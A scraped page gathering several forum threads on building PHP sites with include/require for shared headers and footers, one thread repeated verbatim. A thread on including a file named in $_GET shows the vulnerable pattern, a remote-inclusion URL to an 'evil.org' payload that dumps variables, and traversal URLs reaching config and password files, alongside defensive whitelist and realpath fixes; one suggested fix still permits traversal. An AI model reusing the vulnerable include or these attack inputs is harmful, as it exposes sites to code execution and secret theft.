PHP to build HTML - php

Currently I am building a website in which I am trying to have one location (e.g. header.html or header.txt) to edit content on multiple pages (e.g. each page has the header). I assumed I could easily do this using PHP, importing the html code into the pages using
<?php
echo file_get_contents("header.txt");
// or echo file_get_html("header.html");
?>
Does not seem to be working. Any suggestions on how to do this? I want to be able to edit the header across all pages from one location.
Take care!
EDIT: Okay so I think I am making a simple mistake that prevents the php to run. Just to lay out what I have and what I want to do:
1: I have a piece of code that represents the header that I want to include on multiple pages. This is currently saved in a header.html file.
2: I have a webpage saved as trial.html where I am trying to place that piece of code using php.
Am I forgetting something?

You are making it too complicated:
<?php
require_once('header.php');
It does not matter if header.php contains just html, just php, or some mix of both.

Use PHP files, no plain html or txt because PHP can be protected to prevent directly access, include more parameters and your project can be more modular.
When you include(or require) php files, those are included in the main file before page loads (server side), so you can have more variables in it.
header.php
<?php
echo '<title>Welcome</title>';
body.php
<?php
echo '<h1>Hellow world!</h1>';
$custom_page = 'page 01';
footer.php
<?php
echo '<p>My site footer for ' . $custom_page . '</p>';
index.php
<?php
// debug errors
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// Note: __DIR__ is absolute path for current file (index.php)
// if you have to go up one dir:
// include_once __DIR__ . '/../your_file.php';
// if you have to go down one dir:
// include_once __DIR__ . '/subdir/your_file.php';
/* more code */
?>
<html>
<header>
<?php include_once __DIR__ . '/header.php'; ?>
</header>
<body>
<?php include_once __DIR__ . '/body.php'; ?>
<?php include_once __DIR__ . '/footer.php'; ?>
</body>
</html>
Rendered HTML for index.php
<html>
<header>
<title>Welcome</title>
</header>
<body>
<h1>Hellow world!</h1>
<p>My site footer for page 01</p>
</body>
</html>
Recommended reading first page on google result:
PHP Getting Started
How To Start Programming
Getting Started With PHP: Basic Scripts

Problem ended up being in the path towards the file I wanted to include, as well as a multitude of other issues:
header.html -> header.php
index.html (page) -> index.php
get_contents -> include
include('/path/file') -> include 'path/file'
add set_include_path($_SERVER['DOCUMENT_ROOT']);
Thanks everybody for you input!

Related

relative path for links when using include php [duplicate]

I have been learning syntax for PHP and practicing it. I come from a .NET background so masterpages always made things pretty easy for me when it came to headers and footers.
So far I have a mainHeader.php and mainFooter.php which have my head menu and my footer html. I created a mainBody.php and at the top I put
<?php include "mainHeader.php" ?>
and for the footer I put
<?php include "mainFooter.php" ?>
This worked perfectly and made me smile because my pages all came together nicely. the mainHeader has my <html> and <body> and my mainFooter has my closing tags for those.
Is this good practice?
I include my views from my controllers. I also define file locations to make maintenance easier.
config.php
define('DIR_BASE', dirname( dirname( __FILE__ ) ) . '/');
define('DIR_SYSTEM', DIR_BASE . 'system/');
define('DIR_VIEWS', DIR_SYSTEM . 'views/');
define('DIR_CTLS', DIR_SYSTEM . 'ctls/');
define('DIR_MDLS', DIR_SYSTEM . 'mdls/');
define('VIEW_HEADER', DIR_VIEWS . 'header.php');
define('VIEW_NAVIGATION', DIR_VIEWS . 'navigation.php');
define('VIEW_FOOTER', DIR_VIEWS . 'footer.php');
Now i have all the info i need just by including config.php.
controller.php
require( '../config.php' );
include( DIR_MDLS . 'model.php' );
$model = new model();
if ( $model->getStuff() ) {
$page_to_load = DIR_VIEWS . 'page.php';
}
else {
$page_to_load = DIR_VIEWS . 'otherpage.php';
}
include( VIEW_HEADER );
include( VIEW_NAVIGATION );
include( DIR_VIEWS . $page_to_load );
include( VIEW_FOOTER );
You can also do it the other way round. Have a main page with header/footer and include only the body.
<!DOCTYPE html>
<html lang="en">
<head>
...
</head>
<body>
<?php include $page ?>
</body>
</html>
To summarize all the above.
That's good way to use includes, but do not forget to use a template page for the page contents.
Partly based on Galen's and Balus':
page.php
require $_SERVER['DOCUMENT_ROOT'].'/../config.php';
$data = get_data(); // assume we get all required data here.
$pagetitle = "This is a sample page";
$template = "page.tpl.php";
include "main.tpl.php";
main.tpl.php
<!DOCTYPE html>
<html lang="en">
<head>
<title><?php echo $pagetitle?></title>
</head>
<body>
<?php include $template ?>
</body>
</html>
page.tpl.php something like this:
<h1><?php echo $pagetitle?></h1>
<?php if (!$data): ?>
No news yet :-(
<?php else: ?>
<ul>
<? foreach ($data as $row): ?>
<li><?php echo $row['name']?></li>
<?php endforeach ?>
</ul>
<?php endif ?>
What you're doing is ok until you start using "Views" or "Templates" in which case you no longer arrange your content HTML inside the "controller" or "action" running.
Instead you will load a view and populate it with values which leaves all the HTML source ordering to the view and not your PHP file.
$view = new View('layout.php');
$view->header = $header;
$view->content = 'This is the main content!';
$view->footer = $footer;
print $view;
which then loads the layout file which looks something like this:
<!DOCTYPE html>
<html lang="en">
<head>
...
</head>
<body>
<div id="header"><?php print $header; ?></div>
<div id="content"><?php print $content; ?></div>
<div id="footer"><?php print $footer; ?></div>
</body>
</html>
The accepted answer is form 2010 and things have changed in the past ten years.
The way to go, now with composer having replaced most hand wired autoloaders, the best practice is to use a single require_once utilizing __DIR__ from a script in a fixed, known place:
require_once __DIR__ . '/vendor/autoload.php';
Using define() is not common anymore.
According to the environment agnostic approach, dependencies from the environment get injected to the application using .env or similiar.
The good practice nowadays is to use a templating engine, such as smarty. For the whole application consider using a framework, like codeigniter.
For small sites, include/include_once and require/require_once are great, I haven't built a site without them in years. I would, however, recommend making sure each of your include files is a discrete code block that is valid XML. What I mean is don't open a tag in one include and close it in another, or vice versa - it will make changes complex and more prone to break things because you have dependencies between files. Happy coding!
This is a perfectly fine method, as long as your site doesn't outgrow the 20 pages threshold. I'd however advise to use include() in function style, not as construct, and place these templates in a separate subfolder. If there is no PHP code in them, also use a .htm file extension (htm designating partial html).
include("template/main/header.htm"); // would still parse PHP code!
The disadvantage with this approach is, that you somewhen end up injecting HTML through global variables into it. $HEAD='<link...>'; include("../header.htm"). Which is not bad per se, but can quickly amass cruft.
I know this is very late, just wanted to add my "pennies worth" to this question.
My suggestion would be to create methods for this, e.g my root is: var/www/htdocs/ and the functions file is in includes/functions/template-parts.php.
My functions would look as such:
<?php
define("DOC_ROOT", "/var/www/htdocs/"); # Add a trailing slash to make it a little easier
function GetHeader()
{
return include DOC_ROOT . 'includes/parts/header.htm'; # Header found at include/parts/header.htm
}
function GetFooter()
{
return include DOC_ROOT . 'includes/parts/footer.htm'; # Footer found at include/parts/footer.htm
}
?>
And used as such:
<?php
# From the main page (/var/www/htdocs/index.php)
require_once 'includes/functions/template-parts.php';
GetHeader();
?>
<!-- Page content -->
<?php
GetFooter();
?>
I like using functions to print headers and footers instead of includes. You can fine tune the variable scope better that way.

php not executing in sub directories / php only working in root directory

I am refurbishing a website for a friend, e.g. making it more easy to program/maintain.
The server is running PHP 5.6 and in order to make life easier for me I wanted to uses php's include function to easily include stuff like the head or menu in every web page.
The file structure I use is index.php in the / directory and e.g. history.php in /pages. The files I am including e.g head.php lie in /php.
My problem is that in index.php
<?php include ('php/head.php'); ?>
perfectly executes and includes the designated file but in all sub directories such as /pages the same php code in history.php just doesn't execute at all leaving me with a blank line in the source code. I figured that this has to do with my PHP config or that said might be wrong, but I couldn't find the issue. I also tried calling the tech support of my web hosting provider but although they told me that everything should be working now I still get a beautiful blank line.
I've been searching for a solution to my problem for quite some days now, but I sadly haven't had any luck so far.
Hope the community can help
Thanks in advance
If you set the include_path to the full path then no matter in which sub-directory you have scripts they will always use the full path to the required file.
<?php
/* If you set this on every page the path will always be correct */
set_include_path( $_SERVER['DOCUMENT_ROOT'] . '/php/' );
include( 'functions.php' );
?>
<!doctype html>
<html>
<head>
<title>Include PHP files</title>
<?php
include( 'head.php' );
?>
<body>
<?php
include( 'menu.php' );
?>
<!--
regualar html,javascript etc
-->
<?php
include( 'footer.php' );
?>
</body>
</html>
Is it simply a file paths issue? If you're in a sub-map, then the path to head.php will be different:
<?php include ('../php/head.php'); ?>

Include external code on a web page ( php include() or get_header() )

I've started creating a custom html page for the first time and i've hit a bump. The code in the header will be the same in all my pages , so i want to put it in an external file (header.php) and just put 1 line of code in all my pages to link to it but it doesn't seem to be working .
Note - I want to include just basic html code ( not a function ) - i'm thinking that's why its not working but not sure.
HTML file :
<body>
<?php include('header.php') ?> // didn't work
<?php get_header(); ?> // didn't work
<div class="content"> </div>
</body>
PHP File :
<h1>TITLE</h1>
When i put the code directly on the page - it shows "TITLE"
When i try include or get_header , i get a blank page . I checked the codex and online posts but i've not been able to fix it .
Any help would be appreciated - Thanks
Try in your header.php:
<?php
echo "<h1>TITLE</h1>";
?>
Then where you want to insert the header:
<?php include '/header.php' ?>
The / character makes the path to header.php relative to your root.
<?php include("dyn_layout/cbside_php.php"); ?>
This works for me... just don't forget to rename your files to .php extension... including the file where the insertion is made.

How to make filename include variable depending on $_GET php

To include php code in a file we do:
<html>
<body>
<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<?php include 'body.php'; ?>
</body>
</html>
Now I would like to include a file, the name will be passed in the url, so for example I wouldc do www.site.com/file.php?name_of_file_to_include=body to load body.php in the file:
<html>
<body>
<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<?
$file=$_GET["name_of_file_to_include"];
include $file.'.php';
?>
</body>
</html>
Is this possible or Is it a better option to do this thing. The purpose to do so is because I will change only a part of the file, but there are lots of files I want to load
It is possible of course. I would make sure, that $_GET["name_of_file_to_include"] **does not contain a remote url. Otherewise your script is higly vulnerable against remote script injection.
Imagine the attacke prepares an url like :
index.php?name_of_the_file_to_include=http://evil.org/my
On his server he has stored a file named my.php:
foreach(get_defined_vars() as $var) {
var_dump($var);
}
This script would run directly in the context of your application and would the let see your db config and so on.
So make sure that you prepend at least a path before the include to prevent form remote script injection. Like this:
include './' . $file.'.php';
However this isn't safe enough as the attacker will still being able to execute code that is already on your system. Maybe a php file which is otherwise restricted. So you should make sure that the path is insight your content folder:
// realpath will remove all '/..' from path:
$path = realpath('./sites/' . $_GET['file_to_include'] . '.php');
// if the file does not exists realpath returns false
if(!$path) {
die('error');
}
// check if the path starts exactly with your site path
if(strpos($path, realpath('./sites')) !== 0) {
die('error');
}
// we are safe now:
include $path;
You can do it exactly like you are showing... but you shouldn't
include will include anything and parse out php and show everything else, this makes it so that anyone can get at anything on your system that's accessible to the webserver.
Imagine if you had a database_config.ini right outside of the webroot (you put it there so no one on the web can see what your database password is.)
i could slug in http://www.yoursite.com/file.php?name_of_file_to_include=../database_config.ini and now I know how to access your database.
A better approach for this problem is to create a whitelist of pages and include files
$pages = array(
"body"="body.php",
"aboutme"=>"aboutme.php"
);
and then use:
$page = $_GET["name_of_file_to_include"];
if (array_key_exists($page, $pages)){
include ($pages[$page]);
}
Yes! But be sure to specify the base path using
__DIR__
as such:
//Include the requested file
$file = __DIR__ . $_GET['file_name'] . ".php";
if(file_exists($file ))
include($file);
It is possible, but opens up a massive security hole.
Just imagine if someone were to request www.site.com/file.php?name_of_file_to_include=/root/secret_password_file (assuming you store your important data in secret_password_file.php in /root).
It sounds like you want some form of templating system. There are many ways this can be achieved—some more sophisticated than others. Probably the simplest approach for you would be to forget about including the page content; instead, consider including the header and footer into the content pages.
Imagine header.php looks like:
<html>
<body>
<h1>Welcome to my home page!</h1>
<p>Some text.</p>
and footer.php looks like:
</body>
</html>
Now you can include them both into every content page. For example, body.php might look like:
<?php
include 'header.php';
<div>
... content here ...
</div>
include 'footer.php';
This achieves the same effect, without allowing random web users to request any file from your server.
As my comment stated, I would do it the opposite way. Make your header information within a file that you include into all of your pages. How I've done it (And how all templators do it) is simple:
Have a header.php stored somewhere on your server which contains everything in the header excluding the </head> tag. This way, you can include this file into any page and still add link relations and scripts. For example, this would be an index.php or something like that.
<?PHP
include("folder/header.php");
?>
<!-- ADD ADDITIONAL SCRIPTS AND STYLES HERE -->
<!-- END ADDITIONAL STUFF -->
<title></title>
</head>
<body>
<!-- YOUR CONTENT HERE -->
</body>
</html>
This way, you have the same formatted pieces (Like your header or any other pieces) and the URL would be something like www.domain.com/index.php or www.domain.com/page.php. You are also avoiding the SECURITY RISK of "Getting" a file

PHP include best practices question

I have been learning syntax for PHP and practicing it. I come from a .NET background so masterpages always made things pretty easy for me when it came to headers and footers.
So far I have a mainHeader.php and mainFooter.php which have my head menu and my footer html. I created a mainBody.php and at the top I put
<?php include "mainHeader.php" ?>
and for the footer I put
<?php include "mainFooter.php" ?>
This worked perfectly and made me smile because my pages all came together nicely. the mainHeader has my <html> and <body> and my mainFooter has my closing tags for those.
Is this good practice?
I include my views from my controllers. I also define file locations to make maintenance easier.
config.php
define('DIR_BASE', dirname( dirname( __FILE__ ) ) . '/');
define('DIR_SYSTEM', DIR_BASE . 'system/');
define('DIR_VIEWS', DIR_SYSTEM . 'views/');
define('DIR_CTLS', DIR_SYSTEM . 'ctls/');
define('DIR_MDLS', DIR_SYSTEM . 'mdls/');
define('VIEW_HEADER', DIR_VIEWS . 'header.php');
define('VIEW_NAVIGATION', DIR_VIEWS . 'navigation.php');
define('VIEW_FOOTER', DIR_VIEWS . 'footer.php');
Now i have all the info i need just by including config.php.
controller.php
require( '../config.php' );
include( DIR_MDLS . 'model.php' );
$model = new model();
if ( $model->getStuff() ) {
$page_to_load = DIR_VIEWS . 'page.php';
}
else {
$page_to_load = DIR_VIEWS . 'otherpage.php';
}
include( VIEW_HEADER );
include( VIEW_NAVIGATION );
include( DIR_VIEWS . $page_to_load );
include( VIEW_FOOTER );
You can also do it the other way round. Have a main page with header/footer and include only the body.
<!DOCTYPE html>
<html lang="en">
<head>
...
</head>
<body>
<?php include $page ?>
</body>
</html>
To summarize all the above.
That's good way to use includes, but do not forget to use a template page for the page contents.
Partly based on Galen's and Balus':
page.php
require $_SERVER['DOCUMENT_ROOT'].'/../config.php';
$data = get_data(); // assume we get all required data here.
$pagetitle = "This is a sample page";
$template = "page.tpl.php";
include "main.tpl.php";
main.tpl.php
<!DOCTYPE html>
<html lang="en">
<head>
<title><?php echo $pagetitle?></title>
</head>
<body>
<?php include $template ?>
</body>
</html>
page.tpl.php something like this:
<h1><?php echo $pagetitle?></h1>
<?php if (!$data): ?>
No news yet :-(
<?php else: ?>
<ul>
<? foreach ($data as $row): ?>
<li><?php echo $row['name']?></li>
<?php endforeach ?>
</ul>
<?php endif ?>
What you're doing is ok until you start using "Views" or "Templates" in which case you no longer arrange your content HTML inside the "controller" or "action" running.
Instead you will load a view and populate it with values which leaves all the HTML source ordering to the view and not your PHP file.
$view = new View('layout.php');
$view->header = $header;
$view->content = 'This is the main content!';
$view->footer = $footer;
print $view;
which then loads the layout file which looks something like this:
<!DOCTYPE html>
<html lang="en">
<head>
...
</head>
<body>
<div id="header"><?php print $header; ?></div>
<div id="content"><?php print $content; ?></div>
<div id="footer"><?php print $footer; ?></div>
</body>
</html>
The accepted answer is form 2010 and things have changed in the past ten years.
The way to go, now with composer having replaced most hand wired autoloaders, the best practice is to use a single require_once utilizing __DIR__ from a script in a fixed, known place:
require_once __DIR__ . '/vendor/autoload.php';
Using define() is not common anymore.
According to the environment agnostic approach, dependencies from the environment get injected to the application using .env or similiar.
The good practice nowadays is to use a templating engine, such as smarty. For the whole application consider using a framework, like codeigniter.
For small sites, include/include_once and require/require_once are great, I haven't built a site without them in years. I would, however, recommend making sure each of your include files is a discrete code block that is valid XML. What I mean is don't open a tag in one include and close it in another, or vice versa - it will make changes complex and more prone to break things because you have dependencies between files. Happy coding!
This is a perfectly fine method, as long as your site doesn't outgrow the 20 pages threshold. I'd however advise to use include() in function style, not as construct, and place these templates in a separate subfolder. If there is no PHP code in them, also use a .htm file extension (htm designating partial html).
include("template/main/header.htm"); // would still parse PHP code!
The disadvantage with this approach is, that you somewhen end up injecting HTML through global variables into it. $HEAD='<link...>'; include("../header.htm"). Which is not bad per se, but can quickly amass cruft.
I know this is very late, just wanted to add my "pennies worth" to this question.
My suggestion would be to create methods for this, e.g my root is: var/www/htdocs/ and the functions file is in includes/functions/template-parts.php.
My functions would look as such:
<?php
define("DOC_ROOT", "/var/www/htdocs/"); # Add a trailing slash to make it a little easier
function GetHeader()
{
return include DOC_ROOT . 'includes/parts/header.htm'; # Header found at include/parts/header.htm
}
function GetFooter()
{
return include DOC_ROOT . 'includes/parts/footer.htm'; # Footer found at include/parts/footer.htm
}
?>
And used as such:
<?php
# From the main page (/var/www/htdocs/index.php)
require_once 'includes/functions/template-parts.php';
GetHeader();
?>
<!-- Page content -->
<?php
GetFooter();
?>
I like using functions to print headers and footers instead of includes. You can fine tune the variable scope better that way.

Categories